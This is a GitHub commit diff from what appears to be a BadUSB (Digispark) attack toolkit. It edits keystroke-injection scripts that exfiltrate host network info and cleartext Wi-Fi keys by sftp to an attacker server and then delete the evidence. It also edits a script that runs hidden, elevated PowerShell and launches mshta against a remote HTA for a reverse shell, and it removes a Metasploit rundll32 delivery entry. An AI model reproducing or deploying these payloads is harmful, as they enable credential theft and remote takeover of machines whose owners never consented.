Skip to content

Commit caf3bd9

Browse files
committed
Finishing touches
1 parent b8e9a6b commit caf3bd9

File tree

5 files changed

+36
-39
lines changed

5 files changed

+36
-39
lines changed

conf/rshell_scripts.json

Lines changed: 0 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -38,13 +38,5 @@
3838
"msf": 1,
3939
"srv": 1,
4040
"target": "3"
41-
},
42-
"rundll": {
43-
"desc": "Get Reverse Shell by Abusing Rundll32",
44-
"sftp": 0,
45-
"module": "exploit/windows/smb/smb_delivery",
46-
"msf": 1,
47-
"srv": 1,
48-
"target": "0"
4941
}
5042
}

scripts/windows/exfil/netinfo.ino

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,24 +17,27 @@ void loop() {
1717
DigiKeyboard.delay(1000);
1818
DigiKeyboard.print("cd $env:temp");
1919
DigiKeyboard.sendKeyStroke(KEY_ENTER);
20-
DigiKeyboard.print("$command = {hostname; Get-NetIpaddress | Where PrefixOrigin -EQ DHCP; Invoke-RestMethod http://ipinfo.io/json | Select -exp ip}");
20+
DigiKeyboard.print("$cmd = {hostname; Get-NetIpaddress | Where PrefixOrigin -EQ DHCP}");
2121
DigiKeyboard.sendKeyStroke(KEY_ENTER);
2222
DigiKeyboard.delay(100);
23-
DigiKeyboard.print("$command.InvokeReturnAsIs() | Out-File $env:temp/info.txt -Append");
23+
DigiKeyboard.print("$cmd.InvokeReturnAsIs() | Out-File $env:temp/netinfo.txt -Append");
2424
DigiKeyboard.sendKeyStroke(KEY_ENTER);
2525
DigiKeyboard.delay(1000);
2626
DigiKeyboard.print("sftp USERNAME@IPADDR");
2727
DigiKeyboard.sendKeyStroke(KEY_ENTER);
2828
DigiKeyboard.delay(1200);
29+
DigiKeyboard.print("yes");
30+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
31+
DigiKeyboard.delay(5000);
2932
DigiKeyboard.print("PASSWORD");
3033
DigiKeyboard.sendKeyStroke(KEY_ENTER);
3134
DigiKeyboard.delay(500);
32-
DigiKeyboard.print("mput info.txt");
35+
DigiKeyboard.print("mput netinfo.txt");
3336
DigiKeyboard.sendKeyStroke(KEY_ENTER);
3437
DigiKeyboard.delay(1000);
3538
DigiKeyboard.print("bye");
3639
DigiKeyboard.sendKeyStroke(KEY_ENTER);
37-
DigiKeyboard.print("rm info.txt");
40+
DigiKeyboard.print("rm netinfo.txt");
3841
DigiKeyboard.sendKeyStroke(KEY_ENTER);
3942
DigiKeyboard.print("exit");
4043
DigiKeyboard.sendKeyStroke(KEY_ENTER);

scripts/windows/exfil/wifi_key_grabber.ino

Lines changed: 7 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -23,35 +23,26 @@ void loop() {
2323
}
2424
DigiKeyboard.sendKeyStroke(KEY_ENTER);
2525
DigiKeyboard.delay(1000);
26-
DigiKeyboard.print("cd C:\\");
26+
DigiKeyboard.print("cd %temp%");
2727
DigiKeyboard.sendKeyStroke(KEY_ENTER);
28-
DigiKeyboard.delay(100);
29-
DigiKeyboard.print("md l");
28+
DigiKeyboard.print("@netsh wlan export profile key=clear >nul");
3029
DigiKeyboard.sendKeyStroke(KEY_ENTER);
31-
DigiKeyboard.delay(100);
32-
DigiKeyboard.print("cd l && @netsh wlan export profile key=clear >nul");
30+
DigiKeyboard.print("sftp USERNAME@IPADDR");
3331
DigiKeyboard.sendKeyStroke(KEY_ENTER);
3432
DigiKeyboard.delay(1000);
35-
DigiKeyboard.print("sftp USERNAME@IPADDR");
33+
DigiKeyboard.print("yes");
3634
DigiKeyboard.sendKeyStroke(KEY_ENTER);
37-
DigiKeyboard.delay(1200);
35+
DigiKeyboard.delay(5000);
3836
DigiKeyboard.print("PASSWORD");
39-
DigiKeyboard.delay(70);
4037
DigiKeyboard.sendKeyStroke(KEY_ENTER);
4138
DigiKeyboard.delay(500);
42-
DigiKeyboard.print("mput C:\\l\\*.xml");
39+
DigiKeyboard.print("mput *.xml");
4340
DigiKeyboard.sendKeyStroke(KEY_ENTER);
4441
DigiKeyboard.delay(1000);
4542
DigiKeyboard.print("bye");
4643
DigiKeyboard.sendKeyStroke(KEY_ENTER);
4744
DigiKeyboard.delay(200);
48-
DigiKeyboard.print("cd ..");
49-
DigiKeyboard.sendKeyStroke(KEY_ENTER);
50-
DigiKeyboard.delay(50);
51-
DigiKeyboard.print("del 'C:\l'");
52-
DigiKeyboard.sendKeyStroke(KEY_ENTER);
53-
DigiKeyboard.delay(50);
54-
DigiKeyboard.print("j");
45+
DigiKeyboard.print("del /f /q /s *.xml >nul");
5546
DigiKeyboard.sendKeyStroke(KEY_ENTER);
5647
DigiKeyboard.print("exit");
5748
DigiKeyboard.sendKeyStroke(KEY_ENTER);
Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,20 @@
11
// Author : thewhiteh4t //
22
#include "DigiKeyboard.h"
33
void setup() {
4-
pinMode(1, OUTPUT);
4+
pinMode(1, OUTPUT);
55
}
66
void loop() {
7-
DigiKeyboard.sendKeyStroke(0);
8-
DigiKeyboard.delay(3000);
9-
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10-
DigiKeyboard.print("cmd /C ""start /MIN powershell iwr -Uri URL -OutFile C:/windows/temp/b.jpg;sp 'HKCU:Control Panel/Desktop' WallPaper 'C:/windows/temp/b.jpg';RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 5""");
11-
DigiKeyboard.sendKeyStroke(KEY_ENTER);
12-
digitalWrite(1, HIGH);
13-
DigiKeyboard.delay(90000);
14-
digitalWrite(1, LOW);
15-
DigiKeyboard.delay(5000);
7+
DigiKeyboard.delay(3000);
8+
DigiKeyboard.sendKeyStroke(0);
9+
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
10+
DigiKeyboard.delay(300);
11+
DigiKeyboard.print("powershell -windowstyle hidden");
12+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
13+
DigiKeyboard.delay(1000);
14+
DigiKeyboard.print("iwr -Uri URL -OutFile C:/windows/temp/b.jpg;sp 'HKCU:Control Panel/Desktop' WallPaper 'C:/windows/temp/b.jpg';RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True;sleep 5");
15+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
16+
digitalWrite(1, HIGH);
17+
DigiKeyboard.delay(90000);
18+
digitalWrite(1, LOW);
19+
DigiKeyboard.delay(5000);
1620
}

scripts/windows/reverse_shell/hta_reverse_shell.ino

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,14 @@ void loop() {
88
DigiKeyboard.sendKeyStroke(0);
99
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
1010
DigiKeyboard.delay(300);
11-
DigiKeyboard.print("mshta.exe http://SRVHOST:SRVPORT/FILENAME.hta");
11+
DigiKeyboard.print("powershell -windowstyle hidden");
12+
DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT);
13+
DigiKeyboard.delay(500);
14+
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
15+
DigiKeyboard.delay(100);
16+
DigiKeyboard.sendKeyStroke(KEY_ENTER);
17+
DigiKeyboard.delay(1000);
18+
DigiKeyboard.print("mshta.exe http://192.168.0.107:8080/system.hta");
1219
DigiKeyboard.sendKeyStroke(KEY_ENTER);
1320
digitalWrite(1, HIGH);
1421
DigiKeyboard.delay(90000);

0 commit comments

Comments
 (0)